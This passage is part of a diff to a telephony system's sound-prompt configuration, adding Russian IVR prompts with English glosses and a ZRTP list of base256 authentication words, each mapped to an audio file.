+		<prompt phrase="Пожалуйста повторите ваш пин код для подтверждения" filename="ivr-please_reenter_your_pin.wav"/>
+<!-- Please re-enter your pin number to confirm.   -->
+		<prompt phrase="Для регистрации на clueCon , пожалуйста нажмите .." filename="ivr-register_for_cluecon.wav"/>
+<!-- To register for ClueCon, please press...   -->
+		<prompt phrase="Для входа" filename="ivr-to_log_in.wav"/>
+<!--   to log in -->
+		<prompt phrase="Для выхода" filename="ivr-to_log_out.wav"/>
+<!--  to log out  -->
+		<prompt phrase="Вы вошли" filename="ivr-you_are_now_logged_in.wav"/>
+<!--  You are now logged in  -->
+		<prompt phrase="Вы вышли" filename="ivr-you_are_now_logged_out.wav"/>
+<!--  You are now logged out  -->
+		<prompt phrase="Попробуйте снова" filename="ivr-please_try_again.wav"/>
+<!--  Please try again.  -->
+		<prompt phrase="Вы закрепляете этот телефон за Вашим добавочным номером" filename="ivr-provision_phone_permanently_to_extension.wav"/>
+<!--  You are about to provision this phone permanently to your extension.  -->
+		<prompt phrase="Пожалуйста введите добавочный номер за которым вы хотите закрепить этот телефон и нажмите решётку" filename="ivr-extension_to_provision_this_phone.wav"/>
+<!-- Please enter the extension number to which you would like to provision this phone,followed by the pound sign.   -->
+		<prompt phrase="Спасибо, этот телефон сейчас перезагрузится" filename="ivr-this_phone_will_now_reboot.wav"/>
+<!--   Thank you, this phone will now reboot. -->
+		<prompt phrase="Спасибо. Ваше сообщение было записано." filename="ivr-recording_saved.wav"/> <!-- Thank you. Your recording has been saved. -->
+		<prompt phrase="Нажмите 1 что бы сохранить сообщение. Нажмите 2 что бы прослушать Ваше сообщение. Нажмите 3 что бы перезаписать" filename="ivr-save_review_record.wav"/><!-- Press 1 to save your recording. Press 2 to review your recording. Press 3 to re-record. -->
+	        <prompt phrase="Система не смогла сохранить ваше сообщение. Попробуйте позднее." filename="ivr-unable_save"/><!-- The system is unable to save your sound file at this time. Please try again later. -->
+		
+	</ivr>
+	<misc>
+		<prompt phrase="Этот звонок шифруется" filename="call_secured.wav"/>
+<!-- This call has been secured   -->
+		<prompt phrase="завершаемый нажатием на клавишу решетка" filename="vm-followed_by.wav"/>
+<!-- Followed by pound   -->
+		<prompt phrase="Если вы этот человек" filename="if_you_are_this_person.wav"/>
+<!--  If you are this person  -->
+		<prompt phrase="Если вы хотите" filename="if_you_would_like_to.wav"/>
+<!--   If you would like to -->
+		<prompt phrase="Предоставьте номер ссылки" filename="provide_reference_number.wav"/>
+<!--  Provide reference number  -->
+		<prompt phrase="Пожалуйста, введите добавочный номер на который хотите перевести звонок" filename="transfer1.wav"/>
+<!--  Please enter extension you want to transfer to  -->
+		<prompt phrase="Перевод" filename="transfer2.wav"/>
+<!--  Transfer  -->
+		<prompt phrase="Мы пытаемся связаться" filename="we_are_trying_to_reach.wav"/>
+<!-- We are trying to reach   -->
+		<prompt phrase="Произошла ошибка, пожалуйста обратитесь к администратору" filename="error.wav"/>
+<!-- An error has occurred please contact the administrator   -->
+	</misc>
+    	<zrtp>
+      		<!-- base256 prompts for SAS -->
+      		<prompt phrase="Algol" filename="Algol.wav"/>
+      		<prompt phrase="Apollo" filename="Apollo.wav"/>
+      		<prompt phrase="Athens" filename="Athens.wav"/>
+      		<prompt phrase="Atlantic" filename="Atlantic.wav"/>
+      		<prompt phrase="Aztec" filename="Aztec.wav"/>
+      		<prompt phrase="Babylon" filename="Babylon.wav"/>
+      		<prompt phrase="Belfast" filename="Belfast.wav"/>
+      		<prompt phrase="Bradbury" filename="Bradbury.wav"/>
+      		<prompt phrase="Brazilian" filename="Brazilian.wav"/>
+      		<prompt phrase="Burbank" filename="Burbank.wav"/>
+      		<prompt phrase="Burlington" filename="Burlington.wav"/>
+      		<prompt phrase="Camelot" filename="Camelot.wav"/>
+      		<prompt phrase="Capricorn" filename="Capricorn.wav"/>
+      		<prompt phrase="Cherokee" filename="Cherokee.wav"/>
+      		<prompt phrase="Chicago" filename="Chicago.wav"/>
+      		<prompt phrase="Christmas" filename="Christmas.wav"/>
+      		<prompt phrase="Dakota" filename="Dakota.wav"/>
+      		<prompt phrase="December" filename="December.wav"/>
+      		<prompt phrase="Dupont" filename="Dupont.wav"/>
+      		<prompt phrase="Eskimo" filename="Eskimo.wav"/>
+      		<prompt phrase="Galveston" filename="Galveston.wav"/>
+      		<prompt phrase="Geiger" filename="Geiger.wav"/>
+      		<prompt phrase="Hamilton" filename="Hamilton.wav"/>
+      		<prompt phrase="Istanbul" filename="Istanbul.wav"/>
+      		<prompt phrase="Jamaica" filename="Jamaica.wav"/>
+      		<prompt phrase="Jupiter" filename="Jupiter.wav"/>
+      		<prompt phrase="Medusa" filename="Medusa.wav"/>
+      		<prompt phrase="Mohawk" filename="Mohawk.wav"/>
+      		<prompt phrase="Montana" filename="Montana.wav"/>
+      		<prompt phrase="Neptune" filename="Neptune.wav"/>
+      		<prompt phrase="Norwegian" filename="Norwegian.wav"/>
+      		<prompt phrase="Oakland" filename="Oakland.wav"/>
+      		<prompt phrase="October" filename="October.wav"/>
+      		<prompt phrase="Ohio" filename="Ohio.wav"/>
+      		<prompt phrase="Orlando" filename="Orlando.wav"/>
+      		<prompt phrase="Pacific" filename="Pacific.wav"/>
+      		<prompt phrase="Pandora" filename="Pandora.wav"/>
+      		<prompt phrase="Pegasus" filename="Pegasus.wav"/>
+      		<prompt phrase="Pluto" filename="Pluto.wav"/>
+      		<prompt phrase="Saturday" filename="Saturday.wav"/>
+      		<prompt phrase="Scotland" filename="Scotland.wav"/>
+      		<prompt phrase="Trojan" filename="Trojan.wav"/>
+      		<prompt phrase="Virginia" filename="Virginia.wav"/>
+      		<prompt phrase="Vulcan" filename="Vulcan.wav"/>
+      		<prompt phrase="Waterloo" filename="Waterloo.wav"/>
+      		<prompt phrase="Wichita" filename="Wichita.wav"/>
+      		<prompt phrase="Wilmington" filename="Wilmington.wav"/>
+      		<prompt phrase="Wyoming" filename="Wyoming.wav"/>
+      		<prompt phrase="Yucatan" filename="Yucatan.wav"/>
+      		<prompt phrase="Zulu" filename="Zulu.wav"/>
+      		<prompt phrase="aardvark" filename="aardvark.wav"/>
+      		<prompt phrase="absurd" filename="absurd.wav"/>
+      		<prompt phrase="accrue" filename="accrue.wav"/>
+      		<prompt phrase="acme" filename="acme.wav"/>
+      		<prompt phrase="adrift" filename="adrift.wav"/>
+      		<prompt phrase="adroitness" filename="adroitness.wav"/>
+      		<prompt phrase="adult" filename="adult.wav"/>
+      		<prompt phrase="adviser" filename="adviser.wav"/>
+      		<prompt phrase="afflict" filename="afflict.wav"/>
+      		<prompt phrase="aftermath" filename="aftermath.wav"/>
+      		<prompt phrase="aggregate" filename="aggregate.wav"/>
+      		<prompt phrase="ahead" filename="ahead.wav"/>
+      		<prompt phrase="aimless" filename="aimless.wav"/>
+      		<prompt phrase="alkali" filename="alkali.wav"/>
+      		<prompt phrase="allow" filename="allow.wav"/>
+      		<prompt phrase="almighty" filename="almighty.wav"/>
+      		<prompt phrase="alone" filename="alone.wav"/>
+      		<prompt phrase="ammo" filename="ammo.wav"/>
+      		<prompt phrase="amulet" filename="amulet.wav"/>
+      		<prompt phrase="amusement" filename="amusement.wav"/>
+      		<prompt phrase="ancient" filename="ancient.wav"/>
+      		<prompt phrase="antenna" filename="antenna.wav"/>
+      		<prompt phrase="apple" filename="apple.wav"/>
+      		<prompt phrase="applicant" filename="applicant.wav"/>
+      		<prompt phrase="armistice" filename="armistice.wav"/>
+      		<prompt phrase="article" filename="article.wav"/>
+      		<prompt phrase="artist" filename="artist.wav"/>
+      		<prompt phrase="assume" filename="assume.wav"/>
+      		<prompt phrase="asteroid" filename="asteroid.wav"/>
+      		<prompt phrase="atlas" filename="atlas.wav"/>
+      		<prompt phrase="atmosphere" filename="atmosphere.wav"/>
+      		<prompt phrase="autopsy" filename="autopsy.wav"/>
+      		<prompt phrase="baboon" filename="baboon.wav"/>
+      		<prompt phrase="backfield" filename="backfield.wav"/>
+      		<prompt phrase="backward" filename="backward.wav"/>
+      		<prompt phrase="backwater" filename="backwater.wav"/>
+      		<prompt phrase="banjo" filename="banjo.wav"/>
+      		<prompt phrase="barbecue" filename="barbecue.wav"/>
+      		<prompt phrase="beaming" filename="beaming.wav"/>
+      		<prompt phrase="bedlamp" filename="bedlamp.wav"/>
+      		<prompt phrase="beehive" filename="beehive.wav"/>
+      		<prompt phrase="beeswax" filename="beeswax.wav"/>
+      		<prompt phrase="befriend" filename="befriend.wav"/>
+      		<prompt phrase="belowground" filename="belowground.wav"/>
+      		<prompt phrase="berserk" filename="berserk.wav"/>
+      		<prompt phrase="bifocals" filename="bifocals.wav"/>
+      		<prompt phrase="billiard" filename="billiard.wav"/>
+      		<prompt phrase="bison" filename="bison.wav"/>
+      		<prompt phrase="blackjack" filename="blackjack.wav"/>
+      		<prompt phrase="blockade" filename="blockade.wav"/>
+      		<prompt phrase="blowtorch" filename="blowtorch.wav"/>
+      		<prompt phrase="bluebird" filename="bluebird.wav"/>
+      		<prompt phrase="bodyguard" filename="bodyguard.wav"/>
+      		<prompt phrase="bombast" filename="bombast.wav"/>
+      		<prompt phrase="bookseller" filename="bookseller.wav"/>
+      		<prompt phrase="bookshelf" filename="bookshelf.wav"/>
+      		<prompt phrase="borderline" filename="borderline.wav"/>
+      		<prompt phrase="bottomless" filename="bottomless.wav"/>
+      		<prompt phrase="brackish" filename="brackish.wav"/>
+      		<prompt phrase="bravado" filename="bravado.wav"/>
+      		<prompt phrase="breadline" filename="breadline.wav"/>
+      		<prompt phrase="breakaway" filename="breakaway.wav"/>
+      		<prompt phrase="breakup" filename="breakup.wav"/>
+      		<prompt phrase="brickyard" filename="brickyard.wav"/>
+      		<prompt phrase="briefcase" filename="briefcase.wav"/>
+      		<prompt phrase="businessman" filename="businessman.wav"/>
+      		<prompt phrase="butterfat" filename="butterfat.wav"/>
+      		<prompt phrase="button" filename="button.wav"/>
+      		<prompt phrase="buzzard" filename="buzzard.wav"/>
+      		<prompt phrase="candidate" filename="candidate.wav"/>
+      		<prompt phrase="cannonball" filename="cannonball.wav"/>
+      		<prompt phrase="caravan" filename="caravan.wav"/>
+      		<prompt phrase="caretaker" filename="caretaker.wav"/>
+      		<prompt phrase="celebrate" filename="celebrate.wav"/>
+      		<prompt phrase="cellulose" filename="cellulose.wav"/>
+      		<prompt phrase="cement" filename="cement.wav"/>
+      		<prompt phrase="certify" filename="certify.wav"/>
+      		<prompt phrase="chairlift" filename="chairlift.wav"/>
+      		<prompt phrase="chambermaid" filename="chambermaid.wav"/>
+      		<prompt phrase="chatter" filename="chatter.wav"/>
+      		<prompt phrase="checkup" filename="checkup.wav"/>
+      		<prompt phrase="chisel" filename="chisel.wav"/>
+      		<prompt phrase="choking" filename="choking.wav"/>
+      		<prompt phrase="chopper" filename="chopper.wav"/>
+      		<prompt phrase="clamshell" filename="clamshell.wav"/>
+      		<prompt phrase="classic" filename="classic.wav"/>
+      		<prompt phrase="classroom" filename="classroom.wav"/>
+      		<prompt phrase="cleanup" filename="cleanup.wav"/>
+      		<prompt phrase="clergyman" filename="clergyman.wav"/>
+      		<prompt phrase="clockwork" filename="clockwork.wav"/>
+      		<prompt phrase="cobra" filename="cobra.wav"/>
+      		<prompt phrase="coherence" filename="coherence.wav"/>
+      		<prompt phrase="combustion" filename="combustion.wav"/>
+      		<prompt phrase="commando" filename="commando.wav"/>
+      		<prompt phrase="commence" filename="commence.wav"/>
+      		<prompt phrase="company" filename="company.wav"/>
+      		<prompt phrase="component" filename="component.wav"/>
+      		<prompt phrase="concert" filename="concert.wav"/>
+      		<prompt phrase="concurrent" filename="concurrent.wav"/>
+      		<prompt phrase="confidence" filename="confidence.wav"/>
+      		<prompt phrase="conformist" filename="conformist.wav"/>
+      		<prompt phrase="congregate" filename="congregate.wav"/>
+      		<prompt phrase="consensus" filename="consensus.wav"/>
+      		<prompt phrase="consulting" filename="consulting.wav"/>
+      		<prompt phrase="corporate" filename="corporate.wav"/>
+      		<prompt phrase="corrosion" filename="corrosion.wav"/>
+      		<prompt phrase="councilman" filename="councilman.wav"/>
+      		<prompt phrase="cowbell" filename="cowbell.wav"/>
+      		<prompt phrase="crackdown" filename="crackdown.wav"/>
+      		<prompt phrase="cranky" filename="cranky.wav"/>
+      		<prompt phrase="crossover" filename="crossover.wav"/>
+      		<prompt phrase="crowfoot" filename="crowfoot.wav"/>
+      		<prompt phrase="crucial" filename="crucial.wav"/>
+      		<prompt phrase="crucifix" filename="crucifix.wav"/>
+      		<prompt phrase="crumpled" filename="crumpled.wav"/>
+      		<prompt phrase="crusade" filename="crusade.wav"/>
+      		<prompt phrase="cubic" filename="cubic.wav"/>
+      		<prompt phrase="cumbersome" filename="cumbersome.wav"/>
+      		<prompt phrase="customer" filename="customer.wav"/>
+      		<prompt phrase="dashboard" filename="dashboard.wav"/>
+      		<prompt phrase="deadbolt" filename="deadbolt.wav"/>
+      		<prompt phrase="decadence" filename="decadence.wav"/>
+      		<prompt phrase="decimal" filename="decimal.wav"/>
+      		<prompt phrase="deckhand" filename="deckhand.wav"/>
+      		<prompt phrase="designing" filename="designing.wav"/>
+      		<prompt phrase="detector" filename="detector.wav"/>
+      		<prompt phrase="detergent" filename="detergent.wav"/>
+      		<prompt phrase="determine" filename="determine.wav"/>
+      		<prompt phrase="dictator" filename="dictator.wav"/>
+      		<prompt phrase="dinosaur" filename="dinosaur.wav"/>
+      		<prompt phrase="direction" filename="direction.wav"/>
+      		<prompt phrase="disable" filename="disable.wav"/>
+      		<prompt phrase="disbelief" filename="disbelief.wav"/>
+      		<prompt phrase="disruptive" filename="disruptive.wav"/>
+      		<prompt phrase="distortion" filename="distortion.wav"/>
+      		<prompt phrase="document" filename="document.wav"/>
+      		<prompt phrase="dogsled" filename="dogsled.wav"/>
+      		<prompt phrase="dragnet" filename="dragnet.wav"/>
+      		<prompt phrase="drainage" filename="drainage.wav"/>
+      		<prompt phrase="dreadful" filename="dreadful.wav"/>
+      		<prompt phrase="drifter" filename="drifter.wav"/>
+      		<prompt phrase="dropper" filename="dropper.wav"/>
+      		<prompt phrase="drumbeat" filename="drumbeat.wav"/>
+      		<prompt phrase="drunken" filename="drunken.wav"/>
+      		<prompt phrase="dwelling" filename="dwelling.wav"/>
+      		<prompt phrase="eating" filename="eating.wav"/>
+      		<prompt phrase="edict" filename="edict.wav"/>
+      		<prompt phrase="egghead" filename="egghead.wav"/>
+      		<prompt phrase="eightball" filename="eightball.wav"/>
+      		<prompt phrase="embezzle" filename="embezzle.wav"/>
+      		<prompt phrase="enchanting" filename="enchanting.wav"/>
+      		<prompt phrase="endorse" filename="endorse.wav"/>
+      		<prompt phrase="endow" filename="endow.wav"/>
+      		<prompt phrase="enlist" filename="enlist.wav"/>
+      		<prompt phrase="enrollment" filename="enrollment.wav"/>
+      		<prompt phrase="enterprise" filename="enterprise.wav"/>
+      		<prompt phrase="equation" filename="equation.wav"/>
+      		<prompt phrase="equipment" filename="equipment.wav"/>
+      		<prompt phrase="erase" filename="erase.wav"/>
+      		<prompt phrase="escapade" filename="escapade.wav"/>
+      		<prompt phrase="escape" filename="escape.wav"/>
+      		<prompt phrase="everyday" filename="everyday.wav"/>
+      		<prompt phrase="examine" filename="examine.wav"/>
+      		<prompt phrase="exceed" filename="exceed.wav"/>
+      		<prompt phrase="existence" filename="existence.wav"/>
+      		<prompt phrase="exodus" filename="exodus.wav"/>
+      		<prompt phrase="eyeglass" filename="eyeglass.wav"/>
+      		<prompt phrase="eyetooth" filename="eyetooth.wav"/>
+      		<prompt phrase="facial" filename="facial.wav"/>
+      		<prompt phrase="fallout" filename="fallout.wav"/>
+      		<prompt phrase="fascinate" filename="fascinate.wav"/>
+      		<prompt phrase="filament" filename="filament.wav"/>
+      		<prompt phrase="finicky" filename="finicky.wav"/>
+      		<prompt phrase="flagpole" filename="flagpole.wav"/>
+      		<prompt phrase="flatfoot" filename="flatfoot.wav"/>
+      		<prompt phrase="flytrap" filename="flytrap.wav"/>
+      		<prompt phrase="forever" filename="forever.wav"/>
+      		<prompt phrase="fortitude" filename="fortitude.wav"/>
+      		<prompt phrase="fracture" filename="fracture.wav"/>
+      		<prompt phrase="framework" filename="framework.wav"/>
+      		<prompt phrase="freedom" filename="freedom.wav"/>
+      		<prompt phrase="frequency" filename="frequency.wav"/>
+      		<prompt phrase="frighten" filename="frighten.wav"/>
+      		<prompt phrase="gadgetry" filename="gadgetry.wav"/>
+      		<prompt phrase="gazelle" filename="gazelle.wav"/>
+      		<prompt phrase="getaway" filename="getaway.wav"/>
+      		<prompt phrase="glitter" filename="glitter.wav"/>
+      		<prompt phrase="glossary" filename="glossary.wav"/>
+      		<prompt phrase="glucose" filename="glucose.wav"/>
+      		<prompt phrase="goggles" filename="goggles.wav"/>
+      		<prompt phrase="goldfish" filename="goldfish.wav"/>
+      		<prompt phrase="gossamer" filename="gossamer.wav"/>
+      		<prompt phrase="graduate" filename="graduate.wav"/>
+      		<prompt phrase="gravity" filename="gravity.wav"/>
+      		<prompt phrase="gremlin" filename="gremlin.wav"/>
+      		<prompt phrase="guidance" filename="guidance.wav"/>
+      		<prompt phrase="guitarist" filename="guitarist.wav"/>
+      		<prompt phrase="hamburger" filename="hamburger.wav"/>
+      		<prompt phrase="hamlet" filename="hamlet.wav"/>
+      		<prompt phrase="handiwork" filename="handiwork.wav"/>
+      		<prompt phrase="hazardous" filename="hazardous.wav"/>
+      		<prompt phrase="headwaters" filename="headwaters.wav"/>
+      		<prompt phrase="hemisphere" filename="hemisphere.wav"/>
+      		<prompt phrase="hesitate" filename="hesitate.wav"/>
+      		<prompt phrase="hideaway" filename="hideaway.wav"/>
+      		<prompt phrase="highchair" filename="highchair.wav"/>
+      		<prompt phrase="hockey" filename="hockey.wav"/>
+      		<prompt phrase="holiness" filename="holiness.wav"/>
+      		<prompt phrase="hurricane" filename="hurricane.wav"/>
+      		<prompt phrase="hydraulic" filename="hydraulic.wav"/>
+      		<prompt phrase="impartial" filename="impartial.wav"/>
+      		<prompt phrase="impetus" filename="impetus.wav"/>
+      		<prompt phrase="inception" filename="inception.wav"/>
+      		<prompt phrase="indigo" filename="indigo.wav"/>
+      		<prompt phrase="indoors" filename="indoors.wav"/>
+      		<prompt phrase="indulge" filename="indulge.wav"/>
+      		<prompt phrase="inertia" filename="inertia.wav"/>
+      		<prompt phrase="infancy" filename="infancy.wav"/>
+      		<prompt phrase="inferno" filename="inferno.wav"/>
+      		<prompt phrase="informant" filename="informant.wav"/>
+      		<prompt phrase="insincere" filename="insincere.wav"/>
+      		<prompt phrase="insurgent" filename="insurgent.wav"/>
+      		<prompt phrase="integrate" filename="integrate.wav"/>
+      		<prompt phrase="intention" filename="intention.wav"/>
+      		<prompt phrase="inventive" filename="inventive.wav"/>
+      		<prompt phrase="inverse" filename="inverse.wav"/>
+      		<prompt phrase="involve" filename="involve.wav"/>
+      		<prompt phrase="island" filename="island.wav"/>
+      		<prompt phrase="jawbone" filename="jawbone.wav"/>
+      		<prompt phrase="keyboard" filename="keyboard.wav"/>
+      		<prompt phrase="kickoff" filename="kickoff.wav"/>
+      		<prompt phrase="kiwi" filename="kiwi.wav"/>
+      		<prompt phrase="klaxon" filename="klaxon.wav"/>
+      		<prompt phrase="leprosy" filename="leprosy.wav"/>
+      		<prompt phrase="letterhead" filename="letterhead.wav"/>
+      		<prompt phrase="liberty" filename="liberty.wav"/>
+      		<prompt phrase="locale" filename="locale.wav"/>
+      		<prompt phrase="lockup" filename="lockup.wav"/>
+      		<prompt phrase="maritime" filename="maritime.wav"/>
+      		<prompt phrase="matchmaker" filename="matchmaker.wav"/>
+      		<prompt phrase="maverick" filename="maverick.wav"/>
+      		<prompt phrase="megaton" filename="megaton.wav"/>
+      		<prompt phrase="merit" filename="merit.wav"/>
+      		<prompt phrase="microscope" filename="microscope.wav"/>
+      		<prompt phrase="microwave" filename="microwave.wav"/>
+      		<prompt phrase="midsummer" filename="midsummer.wav"/>
+      		<prompt phrase="millionaire" filename="millionaire.wav"/>
+      		<prompt phrase="minnow" filename="minnow.wav"/>
+      		<prompt phrase="miracle" filename="miracle.wav"/>
+      		<prompt phrase="miser" filename="miser.wav"/>
+      		<prompt phrase="misnomer" filename="misnomer.wav"/>
+      		<prompt phrase="molasses" filename="molasses.wav"/>
+      		<prompt phrase="molecule" filename="molecule.wav"/>
+      		<prompt phrase="monument" filename="monument.wav"/>
+      		<prompt phrase="mosquito" filename="mosquito.wav"/>
+      		<prompt phrase="mural" filename="mural.wav"/>
+      		<prompt phrase="music" filename="music.wav"/>
+      		<prompt phrase="narrative" filename="narrative.wav"/>
+      		<prompt phrase="nebula" filename="nebula.wav"/>
+      		<prompt phrase="necklace" filename="necklace.wav"/>
+      		<prompt phrase="newborn" filename="newborn.wav"/>
+      		<prompt phrase="newsletter" filename="newsletter.wav"/>
+      		<prompt phrase="nightbird" filename="nightbird.wav"/>
+      		<prompt phrase="obtuse" filename="obtuse.wav"/>
+      		<prompt phrase="offload" filename="offload.wav"/>
+      		<prompt phrase="onlooker" filename="onlooker.wav"/>
+      		<prompt phrase="optic" filename="optic.wav"/>
+      		<prompt phrase="opulent" filename="opulent.wav"/>
+      		<prompt phrase="orca" filename="orca.wav"/>
+      		<prompt phrase="outfielder" filename="outfielder.wav"/>
+      		<prompt phrase="pandemic" filename="pandemic.wav"/>
+      		<prompt phrase="paperweight" filename="paperweight.wav"/>
+      		<prompt phrase="paragon" filename="paragon.wav"/>
+      		<prompt phrase="paragraph" filename="paragraph.wav"/>
+      		<prompt phrase="paramount" filename="paramount.wav"/>
+      		<prompt phrase="passenger" filename="passenger.wav"/>
+      		<prompt phrase="payday" filename="payday.wav"/>
+      		<prompt phrase="peachy" filename="peachy.wav"/>
+      		<prompt phrase="pedigree" filename="pedigree.wav"/>
+      		<prompt phrase="penetrate" filename="penetrate.wav"/>
+      		<prompt phrase="perceptive" filename="perceptive.wav"/>
+      		<prompt phrase="performance" filename="performance.wav"/>
+      		<prompt phrase="pharmacy" filename="pharmacy.wav"/>
+      		<prompt phrase="pheasant" filename="pheasant.wav"/>
+      		<prompt phrase="phonetic" filename="phonetic.wav"/>
+      		<prompt phrase="photograph" filename="photograph.wav"/>
+      		<prompt phrase="physique" filename="physique.wav"/>
+      		<prompt phrase="pioneer" filename="pioneer.wav"/>
+      		<prompt phrase="playhouse" filename="playhouse.wav"/>
+      		<prompt phrase="pocketful" filename="pocketful.wav"/>
+      		<prompt phrase="politeness" filename="politeness.wav"/>
+      		<prompt phrase="positive" filename="positive.wav"/>
+      		<prompt phrase="potato" filename="potato.wav"/>
+      		<prompt phrase="preclude" filename="preclude.wav"/>
+      		<prompt phrase="prefer" filename="prefer.wav"/>
+      		<prompt phrase="preshrunk" filename="preshrunk.wav"/>
+      		<prompt phrase="printer" filename="printer.wav"/>
+      		<prompt phrase="processor" filename="processor.wav"/>
+      		<prompt phrase="provincial" filename="provincial.wav"/>
+      		<prompt phrase="prowler" filename="prowler.wav"/>
+      		<prompt phrase="proximate" filename="proximate.wav"/>
+      		<prompt phrase="puberty" filename="puberty.wav"/>
+      		<prompt phrase="publisher" filename="publisher.wav"/>
+      		<prompt phrase="pupil" filename="pupil.wav"/>
+      		<prompt phrase="puppy" filename="puppy.wav"/>
+      		<prompt phrase="pyramid" filename="pyramid.wav"/>
+      		<prompt phrase="python" filename="python.wav"/>
+      		<prompt phrase="quadrant" filename="quadrant.wav"/>
+      		<prompt phrase="quantity" filename="quantity.wav"/>
+      		<prompt phrase="quiver" filename="quiver.wav"/>
+      		<prompt phrase="quota" filename="quota.wav"/>
+      		<prompt phrase="racketeer" filename="racketeer.wav"/>
+      		<prompt phrase="ragtime" filename="ragtime.wav"/>
+      		<prompt phrase="ratchet" filename="ratchet.wav"/>
+      		<prompt phrase="rebellion" filename="rebellion.wav"/>
+      		<prompt phrase="rebirth" filename="rebirth.wav"/>
+      		<prompt phrase="recipe" filename="recipe.wav"/>
+      		<prompt phrase="recover" filename="recover.wav"/>
+      		<prompt phrase="reform" filename="reform.wav"/>
+      		<prompt phrase="regain" filename="regain.wav"/>
+      		<prompt phrase="reindeer" filename="reindeer.wav"/>
+      		<prompt phrase="rematch" filename="rematch.wav"/>
+      		<prompt phrase="repay" filename="repay.wav"/>
+      		<prompt phrase="repellent" filename="repellent.wav"/>
+      		<prompt phrase="replica" filename="replica.wav"/>
+      		<prompt phrase="reproduce" filename="reproduce.wav"/>
+      		<prompt phrase="resistor" filename="resistor.wav"/>
+      		<prompt phrase="responsive" filename="responsive.wav"/>
+      		<prompt phrase="retouch" filename="retouch.wav"/>
+      		<prompt phrase="retraction" filename="retraction.wav"/>
+      		<prompt phrase="retrieval" filename="retrieval.wav"/>
+      		<prompt phrase="retrospect" filename="retrospect.wav"/>
+      		<prompt phrase="revenge" filename="revenge.wav"/>
+      		<prompt phrase="revenue" filename="revenue.wav"/>
+      		<prompt phrase="revival" filename="revival.wav"/>
+      		<prompt phrase="revolver" filename="revolver.wav"/>
+      		<prompt phrase="reward" filename="reward.wav"/>
+      		<prompt phrase="rhythm" filename="rhythm.wav"/>
+      		<prompt phrase="ribcage" filename="ribcage.wav"/>
+      		<prompt phrase="ringbolt" filename="ringbolt.wav"/>
+      		<prompt phrase="robust" filename="robust.wav"/>
+      		<prompt phrase="rocker" filename="rocker.wav"/>
+      		<prompt phrase="ruffled" filename="ruffled.wav"/>
+      		<prompt phrase="sailboat" filename="sailboat.wav"/>
+      		<prompt phrase="sandalwood" filename="sandalwood.wav"/>
+      		<prompt phrase="sardonic" filename="sardonic.wav"/>
+      		<prompt phrase="savagery" filename="savagery.wav"/>
+      		<prompt phrase="sawdust" filename="sawdust.wav"/>
+      		<prompt phrase="scallion" filename="scallion.wav"/>
+      		<prompt phrase="scavenger" filename="scavenger.wav"/>
+      		<prompt phrase="scenic" filename="scenic.wav"/>
+      		<prompt phrase="scorecard" filename="scorecard.wav"/>
+      		<prompt phrase="seabird" filename="seabird.wav"/>
+      		<prompt phrase="select" filename="select.wav"/>
+      		<prompt phrase="sensation" filename="sensation.wav"/>
+      		<prompt phrase="sentence" filename="sentence.wav"/>
+      		<prompt phrase="shadow" filename="shadow.wav"/>
+      		<prompt phrase="shamrock" filename="shamrock.wav"/>
+      		<prompt phrase="showgirl" filename="showgirl.wav"/>
+      		<prompt phrase="skullcap" filename="skullcap.wav"/>
+      		<prompt phrase="skydive" filename="skydive.wav"/>
+      		<prompt phrase="slingshot" filename="slingshot.wav"/>
+      		<prompt phrase="slowdown" filename="slowdown.wav"/>
+      		<prompt phrase="snapline" filename="snapline.wav"/>
+      		<prompt phrase="snapshot" filename="snapshot.wav"/>
+      		<prompt phrase="snowcap" filename="snowcap.wav"/>
+      		<prompt phrase="snowslide" filename="snowslide.wav"/>
+      		<prompt phrase="sociable" filename="sociable.wav"/>
+      		<prompt phrase="solo" filename="solo.wav"/>
+      		<prompt phrase="southward" filename="southward.wav"/>
+      		<prompt phrase="souvenir" filename="souvenir.wav"/>
+      		<prompt phrase="soybean" filename="soybean.wav"/>
+      		<prompt phrase="spaniel" filename="spaniel.wav"/>
+      		<prompt phrase="spearhead" filename="spearhead.wav"/>
+      		<prompt phrase="specialist" filename="specialist.wav"/>
+      		<prompt phrase="speculate" filename="speculate.wav"/>
+      		<prompt phrase="spellbind" filename="spellbind.wav"/>
+      		<prompt phrase="spheroid" filename="spheroid.wav"/>
+      		<prompt phrase="spigot" filename="spigot.wav"/>
+      		<prompt phrase="spindle" filename="spindle.wav"/>
+      		<prompt phrase="spyglass" filename="spyglass.wav"/>
+      		<prompt phrase="stagehand" filename="stagehand.wav"/>
+      		<prompt phrase="stagnate" filename="stagnate.wav"/>
+      		<prompt phrase="stairway" filename="stairway.wav"/>
+      		<prompt phrase="standard" filename="standard.wav"/>
+      		<prompt phrase="stapler" filename="stapler.wav"/>
+      		<prompt phrase="steamship" filename="steamship.wav"/>
+      		<prompt phrase="sterling" filename="sterling.wav"/>
+      		<prompt phrase="stethoscope" filename="stethoscope.wav"/>
+      		<prompt phrase="stockman" filename="stockman.wav"/>
+      		<prompt phrase="stopwatch" filename="stopwatch.wav"/>
+      		<prompt phrase="stormy" filename="stormy.wav"/>
+      		<prompt phrase="stupendous" filename="stupendous.wav"/>
+      		<prompt phrase="sugar" filename="sugar.wav"/>
+      		<prompt phrase="supportive" filename="supportive.wav"/>
+      		<prompt phrase="surmount" filename="surmount.wav"/>
+      		<prompt phrase="surrender" filename="surrender.wav"/>
+      		<prompt phrase="suspense" filename="suspense.wav"/>
+      		<prompt phrase="suspicious" filename="suspicious.wav"/>
+      		<prompt phrase="sweatband" filename="sweatband.wav"/>
+      		<prompt phrase="swelter" filename="swelter.wav"/>
+      		<prompt phrase="sympathy" filename="sympathy.wav"/>
+      		<prompt phrase="tactics" filename="tactics.wav"/>
+      		<prompt phrase="talon" filename="talon.wav"/>
+      		<prompt phrase="tambourine" filename="tambourine.wav"/>
+      		<prompt phrase="tapeworm" filename="tapeworm.wav"/>
+      		<prompt phrase="telephone" filename="telephone.wav"/>
+      		<prompt phrase="tempest" filename="tempest.wav"/>
+      		<prompt phrase="therapist" filename="therapist.wav"/>
+      		<prompt phrase="tiger" filename="tiger.wav"/>
+      		<prompt phrase="tissue" filename="tissue.wav"/>
+      		<prompt phrase="tobacco" filename="tobacco.wav"/>
+      		<prompt phrase="tolerance" filename="tolerance.wav"/>
+      		<prompt phrase="tomorrow" filename="tomorrow.wav"/>
+      		<prompt phrase="tonic" filename="tonic.wav"/>
+      		<prompt phrase="topmost" filename="topmost.wav"/>
+      		<prompt phrase="torpedo" filename="torpedo.wav"/>
+      		<prompt phrase="tracker" filename="tracker.wav"/>
+      		<prompt phrase="tradition" filename="tradition.wav"/>
